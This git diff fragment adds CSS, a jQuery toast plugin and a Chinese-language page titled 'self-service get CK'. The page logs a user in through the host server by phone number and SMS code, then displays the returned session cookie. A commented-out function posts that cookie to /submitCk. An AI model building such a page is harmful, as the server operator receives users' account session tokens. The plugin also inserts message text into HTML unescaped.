background:#F7BA2A url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl93YXJuaW5nPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGRlZnM+PC9kZWZzPgogICAgPGcgaWQ9IlBhZ2UtMSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9Ik1lc3NhZ2UiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02MC4wMDAwMDAsIC0yNzIuMDAwMDAwKSI+CiAgICAgICAgICAgIDxnIGlkPSLluKblgL7lkJFf5L+h5oGvLWNvcHkiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDYwLjAwMDAwMCwgMjcyLjAwMDAwMCkiPgogICAgICAgICAgICAgICAgPGcgaWQ9IlJlY3RhbmdsZS0yIj4KICAgICAgICAgICAgICAgICAgICA8ZyBpZD0iaWNvbl93YXJuaW5nIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHJlY3QgaWQ9IlJlY3RhbmdsZS0yIiBmaWxsPSIjRjdCQTJBIiB4PSIwIiB5PSIwIiB3aWR0aD0iNDAiIGhlaWdodD0iNDAiPjwvcmVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTIxLjYxNTM4NDYsMjYuNTQzMjA5OSBDMjEuNjE1Mzg0NiwyNi45NDc4NzUxIDIxLjQ1ODMzNDgsMjcuMjkxODM2OCAyMS4xNDQyMzA4LDI3LjU3NTEwMjkgQzIwLjgzMDEyNjgsMjcuODU4MzY4OSAyMC40NDg3MTk0LDI4IDIwLDI4IEMxOS41NTEyODA2LDI4IDE5LjE2OTg3MzIsMjcuODU4MzY4OSAxOC44NTU3NjkyLDI3LjU3NTEwMjkgQzE4LjU0MTY2NTIsMjcuMjkxODM2OCAxOC4zODQ2MTU0LDI2Ljk0Nzg3NTEgMTguMzg0NjE1NCwyNi41NDMyMDk5IEwxOC4zODQ2MTU0LDE5Ljc0NDg1NiBDMTguMzg0NjE1NCwxOS4zNDAxOTA3IDE4LjU0MTY2NTIsMTguOTk2MjI5IDE4Ljg1NTc2OTIsMTguNzEyOTYzIEMxOS4xNjk4NzMyLDE4LjQyOTY5NjkgMTkuNTUxMjgwNiwxOC4yODgwNjU4IDIwLDE4LjI4ODA2NTggQzIwLjQ0ODcxOTQsMTguMjg4MDY1OCAyMC44MzAxMjY4LDE4LjQyOTY5NjkgMjEuMTQ0MjMwOCwxOC43MTI5NjMgQzIxLjQ1ODMzNDgsMTguOTk2MjI5IDIxLjYxNTM4NDYsMTkuMzQwMTkwNyAyMS42MTUzODQ2LDE5Ljc0NDg1NiBMMjEuNjE1Mzg0NiwyNi41NDMyMDk5IFogTTIwLDE1LjgwNDI5ODEgQzE5LjQ0NDQ0MjcsMTUuODA0Mjk4MSAxOC45NzIyMjQsMTUuNjE5MzY4NyAxOC41ODMzMzMzLDE1LjI0OTUwNDYgQzE4LjE5NDQ0MjcsMTQuODc5NjQwNiAxOCwxNC40MzA1MjU1IDE4LDEzLjkwMjE0OTEgQzE4LDEzLjM3Mzc3MjYgMTguMTk0NDQyNywxMi45MjQ2NTc1IDE4LjU4MzMzMzMsMTIuNTU0NzkzNSBDMTguOTcyMjI0LDEyLjE4NDkyOTUgMTkuNDQ0NDQyNywxMiAyMCwxMiBDMjAuNTU1NTU3MywxMiAyMS4wMjc3NzYsMTIuMTg0OTI5NSAyMS40MTY2NjY3LDEyLjU1NDc5MzUgQzIxLjgwNTU1NzMsMTIuOTI0NjU3NSAyMiwxMy4zNzM3NzI2IDIyLDEzLjkwMjE0OTEgQzIyLDE0LjQzMDUyNTUgMjEuODA1NTU3MywxNC44Nzk2NDA2IDIxLjQxNjY2NjcsMTUuMjQ5NTA0NiBDMjEuMDI3Nzc2LDE1LjYxOTM2ODcgMjAuNTU1NTU3MywxNS44MDQyOTgxIDIwLDE1LjgwNDI5ODEgWiIgaWQ9IkNvbWJpbmVkLVNoYXBlIiBmaWxsPSIjRkZGRkZGIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgyMC4wMDAwMDAsIDIwLjAwMDAwMCkgc2NhbGUoMSwgLTEpIHRyYW5zbGF0ZSgtMjAuMDAwMDAwLCAtMjAuMDAwMDAwKSAiPjwvcGF0aD4KICAgICAgICAgICAgICAgICAgICA8L2c+CiAgICAgICAgICAgICAgICA8L2c+CiAgICAgICAgICAgIDwvZz4KICAgICAgICA8L2c+CiAgICA8L2c+Cjwvc3ZnPg==) no-repeat 0 50%;
|
||||||
|
}
|
||||||
|
.c-message--close{
|
||||||
|
position: absolute;
|
||||||
|
right: 10px;
|
||||||
|
color: #999;
|
||||||
|
text-decoration: none;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 30px;
|
||||||
|
top: 0;
|
||||||
|
line-height: 34px;
|
||||||
|
display: block;
|
||||||
|
height: 40px;
|
||||||
|
}
|
||||||
|
.c-message--close:hover{
|
||||||
|
color:#666;
|
||||||
|
}
|
||||||
|
@keyframes messageFadeInDown {
|
||||||
|
0% {
|
||||||
|
-webkit-transform: translate3d(0,-100%,0);
|
||||||
|
transform: translate3d(0,-100%,0)
|
||||||
|
}
|
||||||
|
|
||||||
|
100% {
|
||||||
|
-webkit-transform: none;
|
||||||
|
transform: none
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.c-message.messageFadeInDown {
|
||||||
|
-webkit-animation-duration: .6s;
|
||||||
|
animation-duration: .6s;
|
||||||
|
-webkit-animation-fill-mode: both;
|
||||||
|
animation-fill-mode: both
|
||||||
|
-webkit-animation-name: messageFadeInDown;
|
||||||
|
animation-name: messageFadeInDown;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes messageFadeOutUp {
|
||||||
|
0% {
|
||||||
|
opacity: 1
|
||||||
|
}
|
||||||
|
|
||||||
|
100% {
|
||||||
|
opacity: 0;
|
||||||
|
-webkit-transform: translateY(-100%);
|
||||||
|
transform: translateY(-100%)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.c-message.messageFadeOutUp {
|
||||||
|
-webkit-animation-duration: .6s;
|
||||||
|
animation-duration: .6s;
|
||||||
|
-webkit-animation-fill-mode: both;
|
||||||
|
animation-fill-mode: both
|
||||||
|
-webkit-animation-name: messageFadeOutUp;
|
||||||
|
animation-name: messageFadeOutUp
|
||||||
|
}
|
||||||
|
/* .c-message--tip{
|
||||||
|
text-align: center;
|
||||||
|
} */
|
|
@ -0,0 +1,41 @@
|
||||||
|
|
||||||
|
.margin-top-bottom {
|
||||||
|
margin: 15px;
|
||||||
|
}
|
||||||
|
.text-center {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
.text-left {
|
||||||
|
width: 100%;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
.form-group {
|
||||||
|
margin: 0 auto;
|
||||||
|
width: 18.75rem;
|
||||||
|
}
|
||||||
|
.content {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
flex-direction: column;
|
||||||
|
width: 20rem;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding-top: 50px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content input {
|
||||||
|
margin: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#urlselect {
|
||||||
|
width: 10rem;
|
||||||
|
margin: 0 auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header {
|
||||||
|
margin: 0 auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
#info {
|
||||||
|
font-size: 15px;
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,111 @@
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
|
||||||
|
<link rel="stylesheet" href="css/bootstrap.css" />
|
||||||
|
<link rel="stylesheet" href="css/message.css" />
|
||||||
|
<link rel="stylesheet" href="./css/style.css" />
|
||||||
|
<script src="./js/jquery.js"></script>
|
||||||
|
<script src="./js/message.js"></script>
|
||||||
|
<title>自助获取CK</title>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="content text-center">
|
||||||
|
<div class="header">
|
||||||
|
<h3>自助获取CK</h3>
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-primary" role="alert" id="info">
|
||||||
|
欢迎使用~
|
||||||
|
</div>
|
||||||
|
<form class="myForm">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="phone" class="text-left">手机号:</label>
|
||||||
|
<input type="text" class="form-control" id="phone" aria-describedby="emailHelp" name="id" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="code" class="text-left">验证码:</label>
|
||||||
|
<input type="text" class="form-control" id="code" name="key" />
|
||||||
|
<input type="button" value="获取验证码" onclick="sendSms()" class="btn btn-primary margin-top-bottom text-center" />
|
||||||
|
<input type="button" value="获取cookie" onclick="verifyCode()" class="btn btn-primary margin-top-bottom" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="cookie" class="text-left">Cookie:</label>
|
||||||
|
<input type="text" class="form-control-plaintext" id="cookie" />
|
||||||
|
<!-- <input
|
||||||
|
type="button"
|
||||||
|
value="提交cookie"
|
||||||
|
onclick="submitCookie()"
|
||||||
|
class="btn btn-success margin-top-bottom"
|
||||||
|
/> -->
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
<script type="text/javascript">
|
||||||
|
var obj;
|
||||||
|
|
||||||
|
function sendSms() {
|
||||||
|
$.get('/sendSms?phone=' + $('#phone').val(), (data) => {
|
||||||
|
if (data.ok) {
|
||||||
|
$.message({
|
||||||
|
message: '验证码发送成功',
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
$.message({
|
||||||
|
type: 'error',
|
||||||
|
message: data.msg,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
obj = data.data;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function verifyCode() {
|
||||||
|
if (!obj) {
|
||||||
|
$.message({
|
||||||
|
type: 'error',
|
||||||
|
message: '请先发送验证码',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
$.ajax({
|
||||||
|
type: 'POST',
|
||||||
|
url:
|
||||||
|
'/checkCode?phone=' + $('#phone').val() + '&code=' + $('#code').val(),
|
||||||
|
data: JSON.stringify(obj),
|
||||||
|
contentType: 'application/json; charset=utf-8',
|
||||||
|
dataType: 'json',
|
||||||
|
}).then((data) => {
|
||||||
|
if (data.ok) {
|
||||||
|
$.message({
|
||||||
|
message: '获取cooke成功',
|
||||||
|
});
|
||||||
|
$('#cookie').val(data.data.ck);
|
||||||
|
} else {
|
||||||
|
$.message({
|
||||||
|
type: 'error',
|
||||||
|
message: data.msg,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitCookie() {
|
||||||
|
$.ajax({
|
||||||
|
type: 'POST',
|
||||||
|
url: '/submitCk',
|
||||||
|
data: JSON.stringify({ ck: $('#cookie').val() }),
|
||||||
|
contentType: 'application/json; charset=utf-8',
|
||||||
|
dataType: 'json',
|
||||||
|
}).then((data) => {
|
||||||
|
$.message({
|
||||||
|
type: data.ok ? 'success' : 'error',
|
||||||
|
message: data.msg,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</html>
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,82 @@
|
||||||
|
/**
|
||||||
|
* 消息提示组件
|
||||||
|
*
|
||||||
|
* 1.调用
|
||||||
|
* 字符串类型参数: $.message('成功');
|
||||||
|
* 对象型参数:$.message({});
|
||||||
|
*
|
||||||
|
* 2.参数详解
|
||||||
|
* message:' 操作成功', //提示信息
|
||||||
|
time:'2000', //显示时间(默认:2s)
|
||||||
|
type:'success', //显示类型,包括4种:success.error,info,warning
|
||||||
|
showClose:false, //显示关闭按钮(默认:否)
|
||||||
|
autoClose:true, //是否自动关闭(默认:是)
|
||||||
|
*
|
||||||
|
* type:success,error,info,warning
|
||||||
|
*/
|
||||||
|
|
||||||
|
$.extend({
|
||||||
|
message: function (options) {
|
||||||
|
var defaults = {
|
||||||
|
message: ' 操作成功',
|
||||||
|
time: '2000',
|
||||||
|
type: 'success',
|
||||||
|
showClose: false,
|
||||||
|
autoClose: true,
|
||||||
|
onClose: function () {}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (typeof options === 'string') {
|
||||||
|
defaults.message = options;
|
||||||
|
}
|
||||||
|
if (typeof options === 'object') {
|
||||||
|
defaults = $.extend({}, defaults, options);
|
||||||
|
}
|
||||||
|
//message模版
|
||||||
|
var templateClose = defaults.showClose ? '<a class="c-message--close">×</a>' : '';
|
||||||
|
var template = '<div class="c-message messageFadeInDown">' +
|
||||||
|
'<i class=" c-message--icon c-message--' + defaults.type + '"></i>' +
|
||||||
|
templateClose +
|
||||||
|
'<div class="c-message--tip">' + defaults.message + '</div>' +
|
||||||
|
'</div>';
|
||||||
|
var _this = this;
|
||||||
|
var $body = $('body');
|
||||||
|
var $message = $(template);
|
||||||
|
var timer;
|
||||||
|
var closeFn, removeFn;
|
||||||
|
//关闭
|
||||||
|
closeFn = function () {
|
||||||
|
$message.addClass('messageFadeOutUp');
|
||||||
|
$message.one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function () {
|
||||||
|
removeFn();
|
||||||
|
})
|
||||||
|
};
|
||||||
|
//移除
|
||||||
|
removeFn = function () {
|
||||||
|
$message.remove();
|
||||||
|
defaults.onClose(defaults);
|
||||||
|
clearTimeout(timer);
|
||||||
|
};
|
||||||
|
//移除所有
|
||||||
|
$('.c-message').remove();
|
||||||
|
$body.append($message);
|
||||||
|
//居中
|
||||||
|
$message.css({
|
||||||
|
'margin-left': '-' + $message.width() / 2 + 'px'
|
||||||
|
})
|
||||||
|
//去除动画类
|
||||||
|
$message.one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function () {
|
||||||
|
$message.removeClass('messageFadeInDown');
|
||||||
|
});
|
||||||
|
//点击关闭
|
||||||
|
$body.on('click', '.c-message--close', function (e) {
|
||||||
|
closeFn();
|
||||||
|
});
|
||||||
|
//自动关闭
|
||||||
|
if (defaults.autoClose) {
|
||||||
|
timer = setTimeout(function () {
|
||||||
|
closeFn();
|
||||||
|
}, defaults.time)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
Loading…
Reference in New Issue